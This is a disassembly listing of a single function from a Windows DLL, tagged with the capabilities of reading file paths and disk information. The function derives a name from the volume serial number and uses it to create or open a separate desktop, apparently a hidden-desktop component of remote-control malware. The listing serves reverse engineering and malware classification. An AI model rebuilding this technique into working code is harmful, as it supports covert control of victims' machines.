Function at 0x180008490
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x18005d060]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov r14, rdx
mov rdi, rcx
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x70], rdx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov rax, qword [rdx + 8]
test rax, rax
je 0x1800084e6
lock inc dword [rax + 8]
mov rax, qword [rdx + 8]
mov rcx, qword [rdx]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x58], rdx
lea rdx, vtable.CManager.0
mov qword [rdi], rdx
xor r15d, r15d
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r15
test rax, rax
je 0x180008525
lock inc dword [rax + 8]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov qword [rdi + 8], rcx
mov rbx, qword [rdi + 0x10]
mov qword [rdi + 0x10], rax
mov rsi, 0xffffffffffffffff
test rbx, rbx
je 0x180008566
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x180008566
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x180008566
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
mov rcx, qword [rdi + 8]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + 0x18]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rdi + 0x20], rax
mov dword [rdi + 0x18], r15d
mov rbx, qword [rsp + 0x50]
test rbx, rbx
je 0x1800085c1
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1800085c1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1800085c1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
lea rax, vtable.CFileManager.0
mov qword [rdi], rax
mov qword [rdi + 0x40], r15
mov qword [rdi + 0x48], r15
mov ecx, gethostbyname
call fcn.18001ddec
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rdi + 0x40], rax
mov rbx, qword [0x180060400]
test rbx, rbx
jne 0x180008616
lea ecx, [rbx + 0x18]
call fcn.18001ddec
mov rbx, rax
mov qword [rsp + 0x58], rax
mov byte [rax], 0x64
mov qword [rax + 8], r15
mov dword [rax + 0x10], r15d
mov qword [0x180060400], rax
mov dword [rbx + 0x10], 6
mov ecx, 6
call fcn.18001de28
mov qword [rbx + 8], rax
mov ecx, dword [str.master]
mov dword [rax], ecx
movzx ecx, word [0x180053bf0]
mov word [rax + 4], cx
mov byte [rbx], 0x64
xor edx, edx
mov r8d, 0x208
lea rcx, [rdi + 0x6a8]
call fcn.180020550
mov qword [rbp - 0x70], r15
mov dword [rsp + 0x40], r15d
mov edx, 0x208
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x18000867c
mov eax, 0x43
mov word [rbp - 0x60], ax
jmp 0x180008680
movzx eax, word [rbp - 0x60]
mov word [rbp - 0x78], ax
mov dword [rbp - 0x76], 0x5c003a
mov word [rbp - 0x72], r15w
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
imul r8d, dword [rsp + 0x40], 0x14a30b
sub r8d, 0x69427551
imul eax, r8d, 0x1e70fd87
mov edx, 0x95dbed34
sub edx, eax
imul eax, r8d, 0x7fa7741b
sub eax, 0x2fc12eb9
mov byte [rbp - 0x7e], al
imul eax, r8d, 0x2d3b2e29
sub eax, 0x1dc34244
mov byte [rbp - 0x7d], al
imul eax, r8d, 0x3b2316c3
sub eax, 0x31279a3d
mov byte [rbp - 0x7c], al
imul eax, r8d, 0x56c3dc9f
mov ecx, 0x36111310
sub ecx, eax
mov byte [rbp - 0x7b], cl
imul eax, r8d, 0x79e27ad9
sub eax, 0x3fbf03c
mov dword [rsp + 0x40], eax
movzx r9d, dx
mov eax, dword [rbp - 0x7e]
mov dword [rsp + 0x20], eax
lea rdx, str._08lX_04lX_lu
lea rcx, [rdi + 0x6a8]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
mov r9d, 0x10000000
lea r8d, [rdx + 1]
lea rcx, [rdi + 0x6a8]
call qword [sym.imp.USER32.dll_OpenDesktopW]
mov qword [rdi + 0x8b0], rax
test rax, rax
jne 0x180008791
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x10000000
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rdi + 0x6a8]
call qword [sym.imp.USER32.dll_CreateDesktopW]
mov qword [rdi + 0x8b0], rax
mov rcx, qword [rdi + 0x8b0]
call qword [sym.imp.USER32.dll_SetThreadDesktop]
mov edx, 0x40000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rdi + 0x38], rax
mov dword [rdi + 0x50], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rdi + 0x50]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov qword [rdi + 0x58], rsi
mov qword [rdi + 0x60], rsi
mov dword [rdi + 0x54], 0x22
mov byte [rdi + 0x278], 0
mov qword [rdi + 0x280], r15
mov qword [rdi + 0x288], r15
mov dword [rdi + 0x290], r15d
mov qword [rdi + 0x8c0], r15
mov dword [rdi + 0x8c8], r15d
mov qword [rdi + 0x8b8], r15
mov ecx, 0x410
call fcn.18001de28
mov qword [rdi + 0x938], rax
mov rcx, rdi
call fcn.18000a300
nop
mov rbx, qword [r14 + 8]
test rbx, rbx
je 0x180008853
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x180008853
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx]
lock xadd dword [rbx + 0xc], esi
cmp esi, 1
jne 0x180008853
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + htons]
mov rax, rdi
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.18001d7b0
mov rbx, qword [rsp + 0x300]
add rsp, 0x2c0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret